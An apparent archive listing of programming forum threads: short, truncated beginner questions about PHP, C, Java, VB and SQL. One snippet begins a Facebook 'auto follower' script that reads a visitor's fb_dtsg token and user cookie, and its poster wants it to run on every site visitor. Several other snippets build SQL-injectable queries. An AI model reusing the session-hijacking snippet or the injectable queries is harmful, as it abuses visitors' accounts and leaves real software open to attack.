199,114 Archived Topics

Remove Filter
Member Avatar for
Member Avatar for manel1989

hello; how to access to a control of a form from another form? example datagridview

Member Avatar for Ancient Dragon
0
244
Member Avatar for User908

I have several thumbnails on my page which I would like to enlarge on mouseover and revert them to their initial position on mouseout. So when the user mouses over any of the aforementioned thumbnails onmouseover is called triggering MLTo function and when the mouse is out, onmouseout triggers MLFro …

Member Avatar for iamthwee
0
312
Member Avatar for ourloop

I have a MySQL database with a table that has a field/column labled "user8" (which is the field for users' state). I have this PHP call and its working fine if I call all states individually and I only want numbers of rows. <?PHP mysql_select_db("freeskat_promail") or die(mysql_error()); $result = mysql_query("SELECT …

Member Avatar for ourloop
0
20K
Member Avatar for Rahul47

A simple login script that won't be much trouble for members in here. But query within is getting fired up for wrong credentials. My Script. <?php require("C:\wamp\www\Onex\connect_db.php"); if(isset($_POST['login']) && !empty($_POST['login'])) { $uname=$_POST['uname']; $pass=$_POST['pass']; $login_query="select * from register where username='$uname' and password='$pass'"; $result=mysqli_query($con,$login_query); if($result) { echo "Login granted. <br>"; while($row=mysqli_fetch_array($result)) { …

Member Avatar for broj1
0
214
Member Avatar for nitish.mohiputlall

Write a program that converts numbers to words. For example, 895 results in "eight nine five." here are my codes: #include<stdio.h> #include<stdlib.h> int main() { printf(">>This program converts numbers to words :)\n"); int value; printf("Enter value: "); scanf("%d",&value); switch(value){ case 0: { printf("zero"); break;} case 1: { printf("one"); break;} case …

Member Avatar for Rahul47
0
216
Member Avatar for hsc852

Hello everybody. I am seeking help on how to save 3 output images into a specific path after filter by 3 different mask size e.g. 3x3, 5x5 and 7x7 mask. My program is in C:\Cpp\Project\, I wish to save those output images inside "filter" folder with path in C:\Cpp\Project\filter. Thus, …

Member Avatar for deceptikon
0
398
Member Avatar for everton.retweets

Hi Everyone. I have the follwing htaccess file working just great. Basically it rewrites .php to .html and also rewrites none www. urls to www. My question is how can is remove a directory from the .php to .html rewrite rule? My pages are correctly being rewritten to .html files, …

Member Avatar for everton.retweets
0
259
Member Avatar for razree

Hi all, I'm struggling with a simple little program which I would use for a test to (for example) sell footbal tickets. So I have a for on which user selects a game from combobox (combobox populates from text file) and number of tickets in a numericupdown field. On "Save" …

Member Avatar for razree
0
181
Member Avatar for mum.roy.77

edges.txt is used.it is the input adjacency list. 1 3 1 5 2 3 2 6 4 5 5 6 #include<stdio.h> #include<stdlib.h> #include<conio.h> int **adjL; int v,*arr; void dfs(int **adjL) { int j,i=0,temp,dfslabel=1,s=0,k=0,top=0; int stack[v]; int *flag; flag=(int*)calloc(v+1,sizeof(int)); for(i=0;i<=v;i++) flag[i]=0; stack[++top]=1; flag[1]=3; stack[top]=1; while(1) { if(i==arr[stack[top]-1]) { printf("examination of %d …

Member Avatar for nitin1
0
218
Member Avatar for Dani

My code looks like this: if (!empty($foo)) { $doc = new DOMDocument(); $doc->loadHTML($foo); $images = $doc->getElementsByTagName('img'); } And this is happening: DOMDocument::loadHTML() [<a href='domdocument.loadhtml'>domdocument.loadhtml</a>]: Document is empty in Entity, line: 2

Member Avatar for Dani
0
127
Member Avatar for leghorn

Hi I have written a shell script to execute my data base query mysql -uroot -pshruti2 -B -e "use WebNmsDB;select HEADERINDEX from tekelec_meas_headers where CLLI=$clli and IVALSTART>="$ivalstart" and IVALSTART<"$ivalend" and RPTTYPE="$rpttype";" > win.txt But the output in win.txt is /mysql Ver 14.12 Distrib 5.0.44, for unknown-linux-gnu (x86_64) using EditLine wrapper …

Member Avatar for 1stDAN
0
423
Member Avatar for fuhanspujisaputra

How do i minus data from the program to the database? I have quantity and description in my database. The quantity will be 100, and the description of it will be A. When i type in my program like this (after run the program): The quantity is 50. and the …

Member Avatar for ss125
0
493
Member Avatar for santu_1

Hi I am adding comboboxes dynamically in a panel in windows form application. At run time, when I select any one of the comboboxes, all the comboboxes changes. i.e they dont retain individual selected item values. here is my code. for(int i=0;i<20;i++) { Label l = new Label(); l.Text = …

Member Avatar for ss125
0
842
Member Avatar for subrata_ushasi

Hi , I am creating a search page where searching from databaes against a field .From the string "**Birdnesting is the common hobby with the English boys**.And boys are playing in the ground .Again the boys are playing in the ground. **But Birdnesting is not a cake** . " if …

Member Avatar for flashhtml5
0
168
Member Avatar for ektubbe

Inline Code Example HereHi guys, below is a function which converts ebcdic to ascii and it works for a buffer, i need to modify it in accordance to a file,which i am unable to do as i am not very good with C, tried my luck everywhere but did not …

Member Avatar for Ancient Dragon
0
281
Member Avatar for NitsPatel

hello images not display in live server when uploading from localhost to live server. It is properly work in local server thanks in advance

Member Avatar for bradly.spicer
0
160
Member Avatar for nira9

i just wanted to know for future which language is good php or java thanku..:)

Member Avatar for stevie.whalen
0
267
Member Avatar for MasterHacker110

I am writing a very simple boot and kernel in asm and c++. The thing is my development system is windows and I cannot use cpu interupts on windows, or can I? I dont think that my newly created kernel will be able to understand invoke ConsoleA or an of …

Member Avatar for Schol-R-LEA
0
204
Member Avatar for Dili1234

Dim startdate1 As String = DateTimePicker1.Value.Date Dim enddate As String = DateTimePicker2.Value.Date myConnection = New SqlConnection(connectionstring) myConnection.Open() Dim insert As SqlCommand = New SqlCommand(" INSERT INTO Client_Details (Contract_Name ,Client_Name ,VAT_No ,Cilent_Address,Start_Date,End_Date ,Contract_Value,Telephone_No) VALUES('" & TextBox1.Text & "','" & TextBox2.Text & "','" & TextBox4.Text & "','" & TextBox5.Text & "','" & …

Member Avatar for khair.ullah
0
159
Member Avatar for sub-zer0

Hello how can i check the divisibility of a number without using % / +... I am new at coding so hope someone can help I think my code sucks ..i read forums and this is the best i can do import java.util.Scanner; public class Divbythree { public static void …

Member Avatar for sub-zer0
0
291
Member Avatar for Fiorentino01^

Hi can somebody tell me how to delete a table space? Some days ago I deleted a table because I thought I didn't need it anymore. When I tried to recreate it I got this error: ERROR 1813(HY000): Tablespace for table 'test','employees' exists.PLEADE DISCARD the table space before import; I …

Member Avatar for Fiorentino01^
0
464
Member Avatar for BraithVince

hi i'm working on a project that requires a search code in visual basic to find data from a different table in ms acess..any help?

Member Avatar for happygeek
0
68
Member Avatar for sireiz

I want to know how this function is working. I used qsort() function to sort the integers in an array and i found this compare() function on internet. It worked perfectly well but i cannot understand how is it working and what's its logic. Any help? int compare (const void …

Member Avatar for sepp2k
0
2K
Member Avatar for ummusalaam.alaphat

Hi am very much interested in progrmming with java and my idea is developing a project that can solve linear programming problems for minmisation and maximisation.

Member Avatar for jwenting
0
79
Member Avatar for srikanth2321

Hi, I have a problem of modifying Jtree font. No matter what I do or make changes in code I'm unable to change the default font. I got the TreeCellRenderer code from some website. Any suggesion on font change would be really helpful class MyCellRenderer extends JEditorPane implements TreeCellRenderer { …

Member Avatar for mKorbel
0
872
Member Avatar for amirul_1

Hellow...How to count and sum even and odd integers from a sequence of integers..?

Member Avatar for MandrewP
0
118
Member Avatar for Shayne_1

I am trying to write a code that directs the user to a specific sheet in the workbook depending on a yes or no answer. So basically there is information that will need to be completed and the information is specific to whether it is a YES or NO. So …

Member Avatar for Klahr_R
0
116
Member Avatar for wisyhambolu

please how do i code a search button in visual basic. my database is microsoft access and i am using a binding source to connect to the database.

Member Avatar for Klahr_R
0
273
Member Avatar for NettSite

I am trying to put together a web interface for a process which downloads a number of XML files and then processes them. I am usimg JavaScript / jQuery / AJAX to initiate the process on the server, one file at a time, and to display progress information after each …

Member Avatar for gon1387
0
4K
Member Avatar for melanie.braley

I know how to change the background color of a button or label in properties, but I need help figuring out how to get it to change when it is clicked.

Member Avatar for DM Galaxy
0
8K
Member Avatar for ss125

Friends I have a login form. After successsful login, I have to redirect the user to welcome.aspx. While doing this, the URL will be http://www.mangabooks.com/welcome.aspx but I need the URL to be encoded like http://www.mangabooks.com/sdDFREdsfefrvgrwghWr34r How can i do that? Any help will be appriciated... TIA.

Member Avatar for ss125
0
369
Member Avatar for Fatima_110

I'm just a beginner please help! BlueJ accepts my code - there are no compilation errors. But when i want to run the program it doesnt do what i wanted it to. It allows the user to answer the questions about the product and price but the skips to the …

Member Avatar for Fatima_110
0
118
Member Avatar for izam.lukman

i have a script for auto follower on facebook, how to make it run everytime visitor come to my website this is that script var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function cereziAl(isim) { var tarama = isim + "="; if (document.cookie.length > 0) { konum = document.cookie.indexOf(tarama) if …

Member Avatar for izam.lukman
0
220
Member Avatar for Saleh_1

I want to make user profile picture who only have account. But I dont know how to insert and display in the page that image form database, please support.

Member Avatar for IIM
0
143
Member Avatar for Ahmed.C

I'm creating a simple FTP client and i want this certain label to say "List refershed" after a certain action and then after 2 seconds i want the label to say "STATUS". How can i do this?

Member Avatar for deceptikon
0
185
Member Avatar for pc20912

I created tab pages with this, cmd.CommandText = "Select * from StuInfo where StuID ='" & SelectedID & "' order by PayDateDB desc" cmd.Parameters.AddWithValue("@StuID ", SelectedID) DA.SelectCommand = cmd DA.Fill(DS) DT = DS.Tables(0) RecCount = DT.Rows.Count TabControl1.TabPages.Clear() If RecCount > 0 Then For Each DR In DT.Rows newPage = New …

Member Avatar for Begginnerdev
0
179
Member Avatar for winky

[LIST=1] [/LIST]Hello again :), I am writing a code that will recursively write a string in reverse. The problem is in my recursiveReverse function. I feel like the idea is right, but the implementation is incorrect. My thought process was that I could start the loops at the beginning and …

Member Avatar for Joshua_3
0
1K
Member Avatar for kunwar094
Member Avatar for 123bsn

user 'Logout' is not working in my website after migrating to new server. before it was good. here is the code in member.php // Log-out part if (isset($_GET['logout'])){ $pass = ""; setcookie ("pwd","",time()-3600); $pwd = ""; setcookie("name","",time()-3600); $name=""; setcookie("type","",time()-3600); $type=""; header("Location: member.php"); } Looking for help Thank you

Member Avatar for Saleh_1
0
152
Member Avatar for PF2G

Hi, I'm trying to substract the hours of the time with the hours of the begining of an event, and print how many time is left. Can someone help me? //Preço Viagens $partida=$viagens['HoraPartida']; $horapartida = explode(":", $partida); echo $horapartida[0]; $horasistema = date("G"); //hora sistema $difhoras=$horasistema - $horapartida;

Member Avatar for flashhtml5
0
115
Member Avatar for sujan.dasmahapa

I am trying to enter user name and password from command line. user name is 'example@gmail.com' and password is 'Example$319'.....When I am printing this values I can see the password is wrong. I am typing Example$319 but it is printing 'Example19'. $ and 3 are discarded.....Please help me what is …

Member Avatar for almostbob
0
4K
Member Avatar for Franze

Hi, I have created a Form C# application that has alot of code inside. Runs on QuadCore processor. The problem consumes about 2-5% CPU in general when looking in TaskManager. **Problem:** At some point the application consumes about 60-70% and stucks there forever. So I am very sure that somewhere …

Member Avatar for Franze
0
113
Member Avatar for server_crash

I know that you can call this method to delete a row from a JTable: [Code] DefaultTableModel.deleteRow(index); [/Code] I need to delete all of the rows at some point, and this is not working: [Code] for (int i=0; i<dtm.getRowCount(); i++) { dtm.removeRow(i); mortgageTable.revalidate(); } [/Code] I tried revalidating, but that …

Member Avatar for Layki
0
6K
Member Avatar for Kingcoder210

Hi! I am using crystal report to make my report. But problem is that I cant use same SQL Command there in report parameter because its different. I am going to show you my code so that you can understand it. I have a report & a form where I …

Member Avatar for sandybriones
0
2K
Member Avatar for fmasroor

import gpdraw.*; public class chemical { public static void main(String args[]) { DrawingTool pencil=new DrawingTool(new SketchPad(700, 700)); double points[][]=new double[4][3]; double theta=0; double vx=0, vy=0, vz=2; while(true) { points[0][0]=0;//x points[0][1]=1;//y points[0][2]=0;//z points[1][0]=.94281*Math.cos(theta); points[1][1]=-1/3; points[1][2]=.94281*Math.sin(theta); points[2][0]=.94281*Math.cos(theta+2.09439); points[2][1]=-1/3; points[2][2]=.94281*Math.sin(theta+2.09439); points[3][0]=.94281*Math.cos(theta+4.18879); points[3][1]=-1/3; points[3][2]=.94281*Math.sin(theta+4.18879); double screenx, screeny; for(int i=0; i<4; i++) { double x, …

Member Avatar for fmasroor
0
202
Member Avatar for montjoile

hi I had a question in an exam that asked for the code of a trigger that cancels a transaction if a query result doesn't meet a condition in oracle database. is it possible? I am googleing but I can't find an answer thanks

Member Avatar for montjoile
0
464
Member Avatar for MasterHacker110

I am trying to read user input from console using Scanner but it only reads my first input, and then on my second input it closes my program. Here is my code: import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.security.KeyPair; import java.security.KeyPairGenerator; …

Member Avatar for IIM
0
604
Member Avatar for ehpratah

Hi i have this query that search data between two date range `select RA, Name, Model, Plate, Service, Grand_total, Payment_type from advance WHERE SDate BETWEEN '" . $from . "' AND '" . $to . "' ORDER BY Payment_type` which is working great but i need to alter it so …

Member Avatar for ehpratah
0
166
Member Avatar for Sam R.

This is a code for removing spaces from a string, I've been asked to do this without using any standard library functions like `isspace` or `'\b'`. I've been trying for a lot of time but it always gives the same error > Error : Cannot convert 'char' to "char *" …

Member Avatar for MasterHacker110
0
5K
Member Avatar for kal_crazy

Is anyone familiar with the CPUSIM 3.6.9 Wombat Machine 1.1 ? I need help on how to make a loop with machine language.

Member Avatar for kal_crazy
0
181

The End.